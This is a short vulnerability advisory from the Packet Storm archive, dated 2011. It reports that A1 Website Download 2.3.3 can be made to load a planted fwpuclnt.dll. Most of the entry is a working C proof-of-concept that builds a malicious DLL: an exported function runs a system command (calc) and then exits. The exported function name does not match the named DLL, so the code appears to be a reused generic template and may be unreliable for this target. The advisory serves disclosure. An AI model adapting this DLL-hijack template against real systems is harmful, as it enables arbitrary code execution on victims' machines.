A1 Website Download 2.3.3 DLL Hijack

2011-02-14T00:00:00
ID PACKETSTORM:98453
Type packetstorm
Reporter d3c0der
Modified 2011-02-14T00:00:00

Description

                                        
                                            `  
  
#############################################  
  
A1 Website Download dll hijacking vulnerability  
software : http://www.microsystools.com  
version : 2.3.3  
author : d3c0der - d3c0der@hotmail.com  
website : www.attackerz.ir  
  
############################################  
  
file :   
Download.exe  
Vulnerable dll :  
fwpuclnt.dll   
  
#############################################  
  
simple exploit by TheLeader and H.D. Moore   
  
#include <windows.h>  
#define DllExport __declspec (dllexport)  
DllExport void DwmSetWindowAttribute() { egg(); }  
  
int egg()  
{  
system ("calc");  
exit(0);  
return 0;  
}  
  
  
##############################################   
  
`